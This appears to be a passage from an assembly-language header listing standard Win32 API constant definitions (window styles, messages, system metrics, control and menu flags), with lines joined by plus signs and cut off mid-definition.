SIZE_RESTORED+SIZEICONIC equ SIZE_MINIMIZED+SIZEFULLSCREEN equ SIZE_MAXIMIZED+SIZEZOOMSHOW equ SIZE_MAXSHOW+SIZEZOOMHIDE equ SIZE_MAXHIDE+WVR_ALIGNTOP equ 10h+WVR_ALIGNLEFT equ 20h+WVR_ALIGNBOTTOM equ 40h+WVR_ALIGNRIGHT equ 80h+WVR_HREDRAW equ 100h+WVR_VREDRAW equ 200h+WVR_REDRAW equ WVR_HREDRAW|WVR_VREDRAW+WVR_VALIDRECTS equ 400h+MK_LBUTTON equ 1h+MK_RBUTTON equ 2h+MK_SHIFT equ 4h+MK_CONTROL equ 8h+MK_MBUTTON equ 10h+WS_OVERLAPPED equ 0h+WS_POPUP equ 80000000h+WS_CHILD equ 40000000h+WS_MINIMIZE equ 20000000h+WS_VISIBLE equ 10000000h+WS_DISABLED equ 8000000h+WS_CLIPSIBLINGS equ 4000000h+WS_CLIPCHILDREN equ 2000000h+WS_MAXIMIZE equ 1000000h+WS_CAPTION equ 0C00000h+WS_BORDER equ 800000h+WS_DLGFRAME equ 400000h+WS_VSCROLL equ 200000h+WS_HSCROLL equ 100000h+WS_SYSMENU equ 80000h+WS_THICKFRAME equ 40000h+WS_GROUP equ 20000h+WS_TABSTOP equ 10000h+WS_MINIMIZEBOX equ 20000h+WS_MAXIMIZEBOX equ 10000h+WS_TILED equ WS_OVERLAPPED+WS_ICONIC equ WS_MINIMIZE+WS_SIZEBOX equ WS_THICKFRAME+WS_OVERLAPPEDWINDOW equ WS_OVERLAPPED|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME|WS_MINIMIZEBOX|WS_MAXIMIZEBOX+WS_TILEDWINDOW equ WS_OVERLAPPEDWINDOW+WS_POPUPWINDOW equ WS_POPUP|WS_BORDER|WS_SYSMENU+WS_CHILDWINDOW equ WS_CHILD+WS_EX_DLGMODALFRAME equ 1h+WS_EX_NOPARENTNOTIFY equ 4h+WS_EX_TOPMOST equ 8h+WS_EX_ACCEPTFILES equ 10h+WS_EX_TRANSPARENT equ 20h+WS_EX_MDICHILD equ 00000040h+WS_EX_TOOLWINDOW equ 00000080h+WS_EX_WINDOWEDGE equ 00000100h+WS_EX_CLIENTEDGE equ 00000200h+WS_EX_CONTEXTHELP equ 00000400h+WS_EX_RIGHT equ 00001000h+WS_EX_LEFT equ 00000000h+WS_EX_RTLREADING equ 00002000h+WS_EX_LTRREADING equ 00000000h+WS_EX_LEFTSCROLLBAR equ 00004000h+WS_EX_RIGHTSCROLLBAR equ 00000000h+WS_EX_CONTROLPARENT equ 00010000h+WS_EX_STATICEDGE equ 00020000h+WS_EX_APPWINDOW equ 00040000h+WS_EX_OVERLAPPEDWINDOW equ WS_EX_WINDOWEDGE|WS_EX_CLIENTEDGE+WS_EX_PALETTEWINDOW equ WS_EX_WINDOWEDGE|WS_EX_TOOLWINDOW|WS_EX_TOPMOST+CS_VREDRAW equ 1h+CS_HREDRAW equ 2h+CS_KEYCVTWINDOW equ 4h+CS_DBLCLKS equ 8h+CS_OWNDC equ 20h+CS_CLASSDC equ 40h+CS_PARENTDC equ 80h+CS_NOKEYCVT equ 100h+CS_NOCLOSE equ 200h+CS_SAVEBITS equ 800h+CS_BYTEALIGNCLIENT equ 1000h+CS_BYTEALIGNWINDOW equ 2000h+CS_PUBLICCLASS equ 4000h+CS_GLOBALCLASS equ CS_PUBLICCLASS+CF_TEXT equ 1+CF_BITMAP equ 2+CF_METAFILEPICT equ 3+CF_SYLK equ 4+CF_DIF equ 5+CF_TIFF equ 6+CF_OEMTEXT equ 7+CF_DIB equ 8+CF_PALETTE equ 9+CF_PENDATA equ 10+CF_RIFF equ 11+CF_WAVE equ 12+CF_OWNERDISPLAY equ 80h+CF_DSPTEXT equ 81h+CF_DSPBITMAP equ 82h+CF_DSPMETAFILEPICT equ 83h+CF_DSPENHMETAFILE equ 8Eh+CF_PRIVATEFIRST equ 200h+CF_PRIVATELAST equ 2FFh+CF_GDIOBJFIRST equ 300h+CF_GDIOBJLAST equ 3FFh+FVIRTKEY equ 1h+FNOINVERT equ 2h+FSHIFT equ 4h+FCONTROL equ 8h+FALT equ 10h+WPF_SETMINPOSITION equ 1h+WPF_RESTORETOMAXIMIZED equ 2h+ODT_MENU equ 1+ODT_LISTBOX equ 2+ODT_COMBOBOX equ 3+ODT_BUTTON equ 4+ODA_DRAWENTIRE equ 1h+ODA_SELECT equ 2h+ODA_FOCUS equ 4h+ODS_SELECTED equ 1h+ODS_GRAYED equ 2h+ODS_DISABLED equ 4h+ODS_CHECKED equ 8h+ODS_FOCUS equ 10h+PM_NOREMOVE equ 0h+PM_REMOVE equ 1h+PM_NOYIELD equ 2h+MOD_ALT equ 1h+MOD_CONTROL equ 2h+MOD_SHIFT equ 4h+IDHOT_SNAPWINDOW equ -1+IDHOT_SNAPDESKTOP equ -2+EWX_LOGOFF equ 0+EWX_SHUTDOWN equ 1+EWX_REBOOT equ 2+EWX_FORCE equ 4+EW_RESTARTWINDOWS equ 42h+READAPI equ 0+WRITEAPI equ 1+READ_WRITE equ 2+HWND_BROADCAST equ 0FFFFh+CW_USEDEFAULT equ 80000000h+HWND_DESKTOP equ 0+SWP_NOSIZE equ 1h+SWP_NOMOVE equ 2h+SWP_NOZORDER equ 4h+SWP_NOREDRAW equ 8h+SWP_NOACTIVATE equ 10h+SWP_FRAMECHANGED equ 20h+SWP_SHOWWINDOW equ 40h+SWP_HIDEWINDOW equ 80h+SWP_NOCOPYBITS equ 100h+SWP_NOOWNERZORDER equ 200h+SWP_DRAWFRAME equ SWP_FRAMECHANGED+SWP_NOREPOSITION equ SWP_NOOWNERZORDER+HWND_TOP equ 0+HWND_BOTTOM equ 1+HWND_TOPMOST equ -1+HWND_NOTOPMOST equ -2+DLGWINDOWEXTRA equ 30+KEYEVENTF_EXTENDEDKEY equ 1h+KEYEVENTF_KEYUP equ 2h+MOUSEEVENTF_MOVE equ 1h+MOUSEEVENTF_LEFTDOWN equ 2h+MOUSEEVENTF_LEFTUP equ 4h+MOUSEEVENTF_RIGHTDOWN equ 8h+MOUSEEVENTF_RIGHTUP equ 10h+MOUSEEVENTF_MIDDLEDOWN equ 20h+MOUSEEVENTF_MIDDLEUP equ 40h+MOUSEEVENTF_ABSOLUTE equ 8000h+QS_KEY equ 1h+QS_MOUSEMOVE equ 2h+QS_MOUSEBUTTON equ 4h+QS_POSTMESSAGE equ 8h+QS_TIMER equ 10h+QS_PAINT equ 20h+QS_SENDMESSAGE equ 40h+QS_HOTKEY equ 80h+QS_MOUSE equ QS_MOUSEMOVE|QS_MOUSEBUTTON+QS_INPUT equ QS_MOUSE|QS_KEY+QS_ALLEVENTS equ QS_INPUT|QS_POSTMESSAGE|QS_TIMER|QS_PAINT|QS_HOTKEY+QS_ALLINPUT equ QS_SENDMESSAGE|QS_PAINT|QS_TIMER|QS_POSTMESSAGE|QS_MOUSEBUTTON|QS_MOUSEMOVE|QS_HOTKEY|QS_KEY+SM_CXSCREEN equ 0+SM_CYSCREEN equ 1+SM_CXVSCROLL equ 2+SM_CYHSCROLL equ 3+SM_CYCAPTION equ 4+SM_CXBORDER equ 5+SM_CYBORDER equ 6+SM_CXDLGFRAME equ 7+SM_CYDLGFRAME equ 8+SM_CYVTHUMB equ 9+SM_CXHTHUMB equ 10+SM_CXICON equ 11+SM_CYICON equ 12+SM_CXCURSOR equ 13+SM_CYCURSOR equ 14+SM_CYMENU equ 15+SM_CXFULLSCREEN equ 16+SM_CYFULLSCREEN equ 17+SM_CYKANJIWINDOW equ 18+SM_MOUSEPRESENT equ 19+SM_CYVSCROLL equ 20+SM_CXHSCROLL equ 21+SM_DEBUG equ 22+SM_SWAPBUTTON equ 23+SM_RESERVED1 equ 24+SM_RESERVED2 equ 25+SM_RESERVED3 equ 26+SM_RESERVED4 equ 27+SM_CXMIN equ 28+SM_CYMIN equ 29+SM_CXSIZE equ 30+SM_CYSIZE equ 31+SM_CXFRAME equ 32+SM_CYFRAME equ 33+SM_CXMINTRACK equ 34+SM_CYMINTRACK equ 35+SM_CXDOUBLECLK equ 36+SM_CYDOUBLECLK equ 37+SM_CXICONSPACING equ 38+SM_CYICONSPACING equ 39+SM_MENUDROPALIGNMENT equ 40+SM_PENWINDOWS equ 41+SM_DBCSENABLED equ 42+SM_CMOUSEBUTTONS equ 43+SM_CXFIXEDFRAME equ SM_CXDLGFRAME+SM_CYFIXEDFRAME equ SM_CYDLGFRAME+SM_CXSIZEFRAME equ SM_CXFRAME+SM_CYSIZEFRAME equ SM_CYFRAME+SM_SECURE equ 44+SM_CXEDGE equ 45+SM_CYEDGE equ 46+SM_CXMINSPACING equ 47+SM_CYMINSPACING equ 48+SM_CXSMICON equ 49+SM_CYSMICON equ 50+SM_CYSMCAPTION equ 51+SM_CXSMSIZE equ 52+SM_CYSMSIZE equ 53+SM_CXMENUSIZE equ 54+SM_CYMENUSIZE equ 55+SM_ARRANGE equ 56+SM_CXMINIMIZED equ 57+SM_CYMINIMIZED equ 58+SM_CXMAXTRACK equ 59+SM_CYMAXTRACK equ 60+SM_CXMAXIMIZED equ 61+SM_CYMAXIMIZED equ 62+SM_NETWORK equ 63+SM_CLEANBOOT equ 67+SM_CXDRAG equ 68+SM_CYDRAG equ 69+SM_SHOWSOUNDS equ 70+SM_CXMENUCHECK equ 71+SM_CYMENUCHECK equ 72+SM_SLOWMACHINE equ 73+SM_MIDEASTENABLED equ 74+SM_CMETRICS equ 75+TPM_LEFTBUTTON equ 0h+TPM_RIGHTBUTTON equ 2h+TPM_LEFTALIGN equ 0h+TPM_CENTERALIGN equ 4h+TPM_RIGHTALIGN equ 8h+DT_TOP equ 0h+DT_LEFT equ 0h+DT_CENTER equ 1h+DT_RIGHT equ 2h+DT_VCENTER equ 4h+DT_BOTTOM equ 8h+DT_WORDBREAK equ 10h+DT_SINGLELINE equ 20h+DT_EXPANDTABS equ 40h+DT_TABSTOP equ 80h+DT_NOCLIP equ 100h+DT_EXTERNALLEADING equ 200h+DT_CALCRECT equ 400h+DT_NOPREFIX equ 800h+DT_INTERNAL equ 1000h+DCX_WINDOW equ 1h+DCX_CACHE equ 2h+DCX_NORESETATTRS equ 4h+DCX_CLIPCHILDREN equ 8h+DCX_CLIPSIBLINGS equ 10h+DCX_PARENTCLIP equ 20h+DCX_EXCLUDERGN equ 40h+DCX_INTERSECTRGN equ 80h+DCX_EXCLUDEUPDATE equ 100h+DCX_INTERSECTUPDATE equ 200h+DCX_LOCKWINDOWUPDATE equ 400h+DCX_NORECOMPUTE equ 100000h+DCX_VALIDATE equ 200000h+RDW_INVALIDATE equ 1h+RDW_INTERNALPAINT equ 2h+RDW_ERASE equ 4h+RDW_VALIDATE equ 8h+RDW_NOINTERNALPAINT equ 10h+RDW_NOERASE equ 20h+RDW_NOCHILDREN equ 40h+RDW_ALLCHILDREN equ 80h+RDW_UPDATENOW equ 100h+RDW_ERASENOW equ 200h+RDW_FRAME equ 400h+RDW_NOFRAME equ 800h+SW_SCROLLCHILDREN equ 1h+SW_INVALIDATE equ 2h+SW_ERASE equ 4h+ESB_ENABLE_BOTH equ 0h+ESB_DISABLE_BOTH equ 3h+ESB_DISABLE_LEFT equ 1h+ESB_DISABLE_RIGHT equ 2h+ESB_DISABLE_UP equ 1h+ESB_DISABLE_DOWN equ 2h+ESB_DISABLE_LTUP equ ESB_DISABLE_LEFT+ESB_DISABLE_RTDN equ ESB_DISABLE_RIGHT+MB_OK equ 0h+MB_OKCANCEL equ 1h+MB_ABORTRETRYIGNORE equ 2h+MB_YESNOCANCEL equ 3h+MB_YESNO equ 4h+MB_RETRYCANCEL equ 5h+MB_ICONHAND equ 10h+MB_ICONQUESTION equ 20h+MB_ICONEXCLAMATION equ 30h+MB_ICONASTERISK equ 40h+MB_ICONERROR equ MB_ICONHAND+MB_ICONINFORMATION equ MB_ICONASTERISK+MB_ICONSTOP equ MB_ICONHAND+MB_ICONWARNING equ MB_ICONEXCLAMATION+MB_DEFBUTTON1 equ 0h+MB_DEFBUTTON2 equ 100h+MB_DEFBUTTON3 equ 200h+MB_APPLMODAL equ 0h+MB_SYSTEMMODAL equ 1000h+MB_TASKMODAL equ 2000h+MB_NOFOCUS equ 8000h+MB_SETFOREGROUND equ 10000h+MB_DEFAULT_DESKTOP_ONLY equ 20000h+MB_TYPEMASK equ 0Fh+MB_ICONMASK equ 0F0h+MB_DEFMASK equ 0F00h+MB_MODEMASK equ 3000h+MB_MISCMASK equ 0C000h+CTLCOLOR_MSGBOX equ 0+CTLCOLOR_EDIT equ 1+CTLCOLOR_LISTBOX equ 2+CTLCOLOR_BTN equ 3+CTLCOLOR_DLG equ 4+CTLCOLOR_SCROLLBAR equ 5+CTLCOLOR_STATIC equ 6+CTLCOLOR_MAX equ 8+COLOR_SCROLLBAR equ 0+COLOR_BACKGROUND equ 1+COLOR_ACTIVECAPTION equ 2+COLOR_INACTIVECAPTION equ 3+COLOR_MENU equ 4+COLOR_WINDOW equ 5+COLOR_WINDOWFRAME equ 6+COLOR_MENUTEXT equ 7+COLOR_WINDOWTEXT equ 8+COLOR_CAPTIONTEXT equ 9+COLOR_ACTIVEBORDER equ 10+COLOR_INACTIVEBORDER equ 11+COLOR_APPWORKSPACE equ 12+COLOR_HIGHLIGHT equ 13+COLOR_HIGHLIGHTTEXT equ 14+COLOR_BTNFACE equ 15+COLOR_BTNSHADOW equ 16+COLOR_GRAYTEXT equ 17+COLOR_BTNTEXT equ 18+COLOR_INACTIVECAPTIONTEXT equ 19+COLOR_BTNHIGHLIGHT equ 20+COLOR_3DDKSHADOW equ 21+COLOR_3DLIGHT equ 22+COLOR_INFOTEXT equ 23+COLOR_INFOBK equ 24+COLOR_DESKTOP equ COLOR_BACKGROUND+COLOR_3DFACE equ COLOR_BTNFACE+COLOR_3DSHADOW equ COLOR_BTNSHADOW+COLOR_3DHIGHLIGHT equ COLOR_BTNHIGHLIGHT+COLOR_3DHILIGHT equ COLOR_BTNHIGHLIGHT+COLOR_BTNHILIGHT equ COLOR_BTNHIGHLIGHT+GW_HWNDFIRST equ 0+GW_HWNDLAST equ 1+GW_HWNDNEXT equ 2+GW_HWNDPREV equ 3+GW_OWNER equ 4+GW_CHILD equ 5+GW_MAX equ 5+MF_INSERT equ 0h+MF_CHANGE equ 80h+MF_APPEND equ 100h+MF_DELETE equ 200h+MF_REMOVE equ 1000h+MF_BYCOMMAND equ 0h+MF_BYPOSITION equ 400h+MF_SEPARATOR equ 800h+MF_ENABLED equ 0h+MF_GRAYED equ 1h+MF_DISABLED equ 2h+MF_UNCHECKED equ 0h+MF_CHECKED equ 8h+MF_USECHECKBITMAPS equ 200h+MF_STRING equ 0h+MF_BITMAP equ 4h+MF_OWNERDRAW equ 100h+MF_POPUP equ 10h+MF_MENUBARBREAK equ 20h+MF_MENUBREAK equ 40h+MF_UNHILITE equ 0h+MF_HILITE equ 80h+MF_SYSMENU equ 2000h+MF_HELP equ 4000h+MF_MOUSESELECT equ 8000h+MF_END equ 80h+SC_SIZE equ 0F000h+SC_MOVE equ 0F010h+SC_MINIMIZE equ 0F020h+SC_MAXIMIZE equ 0F030h+SC_NEXTWINDOW equ 0F040h+SC_PREVWINDOW equ 0F050h+SC_CLOSE equ 0F060h+SC_VSCROLL equ 0F070h+SC_HSCROLL equ 0F080h+SC_MOUSEMENU equ 0F090h+SC_KEYMENU equ 0F100h+SC_ARRANGE equ 0F110h+SC_RESTORE equ 0F120h+SC_TASKLIST equ 0F130h+SC_SCREENSAVE equ 0F140h+SC_HOTKEY equ 0F150h+SC_ICON equ SC_MINIMIZE+SC_ZOOM equ SC_MAXIMIZE+IDC_ARROW equ 32512+IDC_IBEAM equ 32513+IDC_WAIT equ 32514+IDC_CROSS equ 32515+IDC_UPARROW equ 32516+IDC_SIZE equ 32640+IDC_ICON equ 32641+IDC_SIZENWSE equ 32642+IDC_SIZENESW equ 32643+IDC_SIZEWE equ 32644+IDC_SIZENS equ 32645+IDC_SIZEALL equ 32646+IDC_NO equ 32648+IDC_APPSTARTING equ 32650+OBM_CLOSE equ 32754+OBM_UPARROW equ 32753+OBM_DNARROW equ 32752+OBM_RGARROW equ 32751+OBM_LFARROW equ 32750+OBM_REDUCE equ 32749+OBM_ZOOM equ 32748+OBM_RESTORE equ 32747+OBM_REDUCED equ 32746+OBM_ZOOMD equ 32745+OBM_RESTORED equ 32744+OBM_UPARROWD equ 32743+OBM_DNARROWD equ 32742+OBM_RGARROWD equ 32741+OBM_LFARROWD equ 32740+OBM_MNARROW equ 32739+OBM_COMBO equ 32738+OBM_UPARROWI equ 32737+OBM_DNARROWI equ 32736+OBM_RGARROWI equ 32735+OBM_LFARROWI equ 32734+OBM_OLD_CLOSE equ 32767+OBM_SIZE equ 32766+OBM_OLD_UPARROW equ 32765+OBM_OLD_DNARROW equ 32764+OBM_OLD_RGARROW equ 32763+OBM_OLD_LFARROW equ 32762+OBM_BTSIZE equ 32761+OBM_CHECK equ 32760+OBM_CHECKBOXES equ 32759+OBM_BTNCORNERS equ 32758+OBM_OLD_REDUCE equ 32757+OBM_OLD_ZOOM equ 32756+OBM_OLD_RESTORE equ 32755+OCR_NORMAL equ 32512+OCR_IBEAM equ 32513+OCR_WAIT equ 32514+OCR_CROSS equ 32515+OCR_UP equ 32516+OCR_SIZE equ 32640+OCR_ICON equ 32641+OCR_SIZENWSE equ 32642+OCR_SIZENESW equ 32643+OCR_SIZEWE equ 32644+OCR_SIZENS equ 32645+OCR_SIZEALL equ 32646+OCR_ICOCUR equ 32647+OCR_NO equ 32648+OIC_SAMPLE equ 32512+OIC_HAND equ 32513+OIC_QUES equ 32514+OIC_BANG equ 32515+OIC_NOTE equ 32516+ORD_LANGDRIVER equ 1+IDI_APPLICATION equ 32512+IDI_HAND equ 32513+IDI_QUESTION equ 32514+IDI_EXCLAMATION equ 32515+IDI_ASTERISK equ 32516+IDOK equ 1+IDCANCEL equ 2+IDABORT equ 3+IDRETRY equ 4+IDIGNORE equ 5+IDYES equ 6+IDNO equ 7+ES_LEFT equ 0h+ES_CENTER equ 1h+ES_RIGHT equ 2h+ES_MULTILINE equ 4h+ES_UPPERCASE equ 8h+ES_LOWERCASE equ 10h+ES_PASSWORD equ 20h+ES_AUTOVSCROLL equ 40h+ES_AUTOHSCROLL equ 80h+ES_NOHIDESEL equ 100h+ES_OEMCONVERT equ 400h+ES_READONLY equ 800h+ES_WANTRETURN equ 1000h+EN_SETFOCUS equ 100h+EN_KILLFOCUS equ 200h+EN_CHANGE equ 300h+EN_UPDATE equ 400h+EN_ERRSPACE equ 500h+EN_MAXTEXT equ 501h+EN_HSCROLL equ 601h+EN_VSCROLL equ 602h+EM_GETSEL equ 0B0h+EM_SETSEL equ 0B1h+EM_GETRECT equ 0B2h+EM_SETRECT equ 0B3h+EM_SETRECTNP equ 0B4h+EM_SCROLL equ 0B5h+EM_LINESCROLL equ 0B6h+EM_SCROLLCARET equ 0B7h+EM_GETMODIFY equ 0B8h+EM_SETMODIFY equ 0B9h+EM_GETLINECOUNT equ 0BAh+EM_LINEINDEX equ 0BBh+EM_SETHANDLE equ 0BCh+EM_GETHANDLE equ 0BDh+EM_GETTHUMB equ 0BEh+EM_LINELENGTH equ 0C1h+EM_REPLACESEL equ 0C2h+EM_GETLINE equ 0C4h+EM_LIMITTEXT equ 0C5h+EM_CANUNDO equ 0C6h+EM_UNDO equ 0C7h+EM_FMTLINES equ 0C8h+EM_LINEFROMCHAR equ 0C9h+EM_SETTABSTOPS equ 0CBh+EM_SETPASSWORDCHAR equ 0CCh+EM_EMPTYUNDOBUFFER equ 0CDh+EM_GETFIRSTVISIBLELINE equ 0CEh+EM_SETREADONLY equ 0CFh+EM_SETWORDBREAKPROC equ 0D0h+EM_GETWORDBREAKPROC equ 0D1h+EM_GETPASSWORDCHAR equ 0D2h+EM_SETMARGINS equ 0D3h+EM_GETMARGINS equ 0D4h+EM_SETLIMITTEXT equ EM_LIMITTEXT+EM_GETLIMITTEXT equ 0D5h+EM_POSFROMCHAR equ 0D6h+EM_CHARFROMPOS equ 0D7h+WB_LEFT equ 0+WB_RIGHT equ 1+WB_ISDELIMITER equ 2+BS_PUSHBUTTON equ 0h+BS_DEFPUSHBUTTON equ 1h+BS_CHECKBOX equ 2h+BS_AUTOCHECKBOX equ 3h+BS_RADIOBUTTON equ 4h+BS_3STATE equ 5h+BS_AUTO3STATE equ 6h+BS_GROUPBOX equ 7h+BS_USERBUTTON equ 8h+BS_AUTORADIOBUTTON equ 9h+BS_OWNERDRAW equ 0Bh+BS_LEFTTEXT equ 20h+BS_BITMAP equ 80h+BS_ICON equ 40h+BN_CLICKED equ 0+BN_PAINT equ 1+BN_HILITE equ 2+BN_UNHILITE equ 3+BN_DISABLE equ 4+BN_DOUBLECLICKED equ 5+BN_SETFOCUS equ 6+BN_KILLFOCUS equ 7+BST_UNCHECKED equ 00h+BST_CHECKED equ 01h+BST_INDETERMINATE equ 02h+BST_PUSHED equ 04h+BM_GETCHECK equ 0F0h+BM_SETCHECK equ 0F1h+BM_GETSTATE equ 0F2h+BM_SETSTATE equ 0F3h+BM_SETSTYLE equ 0F4h+BM_CLICK equ 0F5h+BM_GETIMAGE equ 0F6h+BM_SETIMAGE equ 0F7h+SS_LEFT equ 0h+SS_CENTER equ 1h+SS_RIGHT equ 2h+SS_ICON equ 3h+SS_BLACKRECT equ 4h+SS_GRAYRECT equ 5h+SS_WHITERECT equ 6h+SS_BLACKFRAME equ 7h+SS_GRAYFRAME equ 8h+SS_WHITEFRAME equ 9h+SS_USERITEM equ 0Ah+SS_SIMPLE equ 0Bh+SS_LEFTNOWORDWRAP equ 0Ch+SS_NOPREFIX equ 80h+STM_SETICON equ 170h+STM_GETICON equ 171h+STM_MSGMAX equ 172h+WC_DIALOG equ 8002+DWL_MSGRESULT equ 0+DWL_DLGPROC equ 4+DWL_USER equ 8+DDL_READWRITE equ 0h+DDL_READONLY equ 1h+DDL_HIDDEN equ 2h+DDL_SYSTEM equ 4h+DDL_DIRECTORY equ 10h+DDL_ARCHIVE equ 20h+DDL_POSTMSGS equ 2000h+DDL_DRIVES equ 4000h+DDL_EXCLUSIVE equ 8000h+DS_ABSALIGN equ 0001h+DS_SYSMODAL equ 0002h+DS_3DLOOK equ 0004h+DS_FIXEDSYS equ 0008h+DS_NOFAILCREATE equ 0010h+DS_LOCALEDIT equ 0020h+DS_SETFONT equ 0040h+DS_MODALFRAME equ 0080h+DS_NOIDLEMSG equ 0100h+DS_SETFOREGROUND equ 0200h+DS_CONTROL equ 0400h+DS_CENTER equ 0800h+DS_CENTERMOUSE equ 1000h+DS_CONTEXTHELP equ 2000h+DM_GETDEFID equ WM_USER+0+DM_SETDEFID equ WM_USER+1+DC_HASDEFID equ 534h+DLGC_WANTARROWS equ 1h+DLGC_WANTTAB equ 2h+DLGC_WANTALLKEYS equ 4h+DLGC_WANTMESSAGE equ 4h+DLGC_HASSETSEL equ 8h+DLGC_DEFPUSHBUTTON equ 10h+DLGC_UNDEFPUSHBUTTON equ 20h+DLGC_RADIOBUTTON equ 40h+DLGC_WANTCHARS equ 80h+DLGC_STATIC equ 100h+DLGC_BUTTON equ 2000h+LB_CTLCODE equ 0+LB_OKAY equ 0+LB_ERR equ -1+LB_ERRSPACE equ -2+LBN_ERRSPACE equ -2+LBN_SELCHANGE equ 1+LBN_DBLCLK equ 2+LBN_SELCANCEL equ 3+LBN_SETFOCUS equ 4+LBN_KILLFOCUS equ 5+LB_ADDSTRING equ 180h+LB_INSERTSTRING equ 181h+LB_DELETESTRING equ 182h+LB_SELITEMRANGEEX equ 183h+LB_RESETCONTENT equ 184h+LB_SETSEL equ 185h+LB_SETCURSEL equ 186h+LB_GETSEL equ 187h+LB_GETCURSEL equ 188h+LB_GETTEXT equ 189h+LB_GETTEXTLEN equ 18Ah+LB_GETCOUNT equ 18Bh+LB_SELECTSTRING equ 18Ch+LB_DIR equ 18Dh+LB_GETTOPINDEX equ 18Eh+LB_FINDSTRING equ 18Fh+LB_GETSELCOUNT equ 190h+LB_GETSELITEMS equ 191h+LB_SETTABSTOPS equ 192h+LB_GETHORIZONTALEXTENT equ 193h+LB_SETHORIZONTALEXTENT equ 194h+LB_SETCOLUMNWIDTH equ 195h+LB_ADDFILE equ 196h+LB_SETTOPINDEX equ 197h+LB_GETITEMRECT equ 198h+LB_GETITEMDATA equ 199h+LB_SETITEMDATA equ 19Ah+LB_SELITEMRANGE equ 19Bh+LB_SETANCHORINDEX equ 19Ch+LB_GETANCHORINDEX equ 19Dh+LB_SETCARETINDEX equ 19Eh+LB_GETCARETINDEX equ 19Fh+LB_SETITEMHEIGHT equ 1A0h+LB_GETITEMHEIGHT equ 1A1h+LB_FINDSTRINGEXACT equ 1A2h+LB_SETLOCALE equ 1A5h+LB_GETLOCALE equ 1A6h+LB_SETCOUNT equ 1A7h+LB_MSGMAX equ 1A8h+LBS_NOTIFY equ 1h+LBS_SORT equ 2h+LBS_NOREDRAW equ 4h+LBS_MULTIPLESEL equ 8h+LBS_OWNERDRAWFIXED equ 10h+LBS_OWNERDRAWVARIABLE equ 20h+LBS_HASSTRINGS equ 40h+LBS_USETABSTOPS equ 80h+LBS_NOINTEGRALHEIGHT equ 100h+LBS_MULTICOLUMN equ 200h+LBS_WANTKEYBOARDINPUT equ 400h+LBS_EXTENDEDSEL equ 800h+LBS_DISABLENOSCROLL equ 1000h+LBS_NODATA equ 2000h+LBS_STANDARD equ LBS_NOTIFY|LBS_SORT|WS_VSCROLL|WS_BORDER+CB_OKAY equ 0+CB_ERR equ -1+CB_ERRSPACE equ -2+CBN_ERRSPACE equ -1+CBN_SELCHANGE equ 1+CBN_DBLCLK equ 2+CBN_SETFOCUS equ 3+CBN_KILLFOCUS equ 4+CBN_EDITCHANGE equ 5+CBN_EDITUPDATE equ 6+CBN_DROPDOWN equ 7+CBN_CLOSEUP equ 8+CBN_SELENDOK equ 9+CBN_SELENDCANCEL equ 10+CBS_SIMPLE equ 1h+CBS_DROPDOWN equ 2h+CBS_DROPDOWNLIST equ 3h+CBS_OWNERDRAWFIXED equ 10h+CBS_OWNERDRAWVARIABLE equ 20h+CBS_AUTOHSCROLL equ 40h+CBS_OEMCONVERT equ 80h+CBS_SORT equ 100h+CBS_HASSTRINGS equ 200h+CBS_NOINTEGRALHEIGHT equ 400h+CBS_DISABLENOSCROLL equ 800h+CB_GETEDITSEL equ 140h+CB_LIMITTEXT equ 141h+CB_SETEDITSEL equ 142h+CB_ADDSTRING equ 143h+CB_DELETESTRING equ 144h+CB_DIR equ 145h+CB_GETCOUNT equ 146h+CB_GETCURSEL equ 147h+CB_GETLBTEXT equ 148h+CB_GETLBTEXTLEN equ 149h+CB_INSERTSTRING equ 14Ah+CB_RESETCONTENT equ 14Bh+CB_FINDSTRING equ 14Ch+CB_SELECTSTRING equ 14Dh+CB_SETCURSEL equ 14Eh+CB_SHOWDROPDOWN equ 14Fh+CB_GETITEMDATA equ 150h+CB_SETITEMDATA equ 151h+CB_GETDROPPEDCONTROLRECT equ 152h+CB_SETITEMHEIGHT equ 153h+CB_GETITEMHEIGHT equ 154h+CB_SETEXTENDEDUI equ 155h+CB_GETEXTENDEDUI equ 156h+CB_GETDROPPEDSTATE equ 157h+CB_FINDSTRINGEXACT equ 158h+CB_SETLOCALE equ 159h+CB_GETLOCALE equ 15Ah+CB_GETTOPINDEX equ 15Bh+CB_SETTOPINDEX equ 15Ch+CB_GETHORIZONTALEXTENT equ 15Dh+CB_SETHORIZONTALEXTENT equ 15Eh+CB_GETDROPPEDWIDTH equ 15Fh+CB_SETDROPPEDWIDTH equ 160h+CB_INITSTORAGE equ 161h+CB_MSGMAX equ 162h+SBS_HORZ equ 0h+SBS_VERT equ 1h+SBS_TOPALIGN equ 2h+SBS_LEFTALIGN equ 2h+SBS_BOTTOMALIGN equ 4h+SBS_RIGHTALIGN equ 4h+SBS_SIZEBOXTOPLEFTALIGN equ 2h+SBS_SIZEBOXBOTTOMRIGHTALIGN equ 4h+SBS_SIZEBOX equ 8h+SBS_SIZEGRIP equ 10h+SBM_SETPOS equ 0E0h+SBM_GETPOS equ 0E1h+SBM_SETRANGE equ 0E2h+SBM_SETRANGEREDRAW equ 0E6h+SBM_GETRANGE equ 0E3h+SBM_ENABLE_ARROWS equ 0E4h+MDIS_ALLCHILDSTYLES equ 1h+MDITILE_VERTICAL equ 0h+MDITILE_HORIZONTAL equ 1h+MDITILE_SKIPDISABLED equ 2h+HELP_CONTEXT equ 1h+HELP_QUIT equ 2h+HELP_INDEX equ 3h+HELP_CONTENTS equ 3h+HELP_HELPONHELP equ 4h+HELP_SETINDEX equ 5h+HELP_SETCONTENTS equ 5h+HELP_CONTEXTPOPUP equ 8h+HELP_FORCEFILE equ 9h+HELP_KEY equ 101h+HELP_COMMAND equ 102h+HELP_PARTIALKEY equ 105h+HELP_MULTIKEY equ 201h+HELP_SETWINPOS equ 203h+HELP_CONTEXTMENU equ 000Ah+HELP_FINDER equ 000Bh+HELP_WM_HELP equ 000Ch+HELP_SETPOPUP_POS equ 000Dh+HELP_TCARD equ 8000h+HELP_TCARD_DATA equ 0010h+HELP_TCARD_OTHER_CALLER equ 0011h+IDH_NO_HELP equ 28440+IDH_MISSING_CONTEXT equ 28441+IDH_GENERIC_HELP_BUTTON equ 28442+IDH_OK equ 28443+IDH_CANCEL equ 28444+IDH_HELP equ 28445+SPI_GETBEEP equ 1+SPI_SETBEEP equ 2+SPI_GETMOUSE equ 3+SPI_SETMOUSE equ 4+SPI_GETBORDER equ 5+SPI_SETBORDER equ 6+SPI_GETKEYBOARDSPEED equ 10+SPI_SETKEYBOARDSPEED equ 11+SPI_LANGDRIVER equ 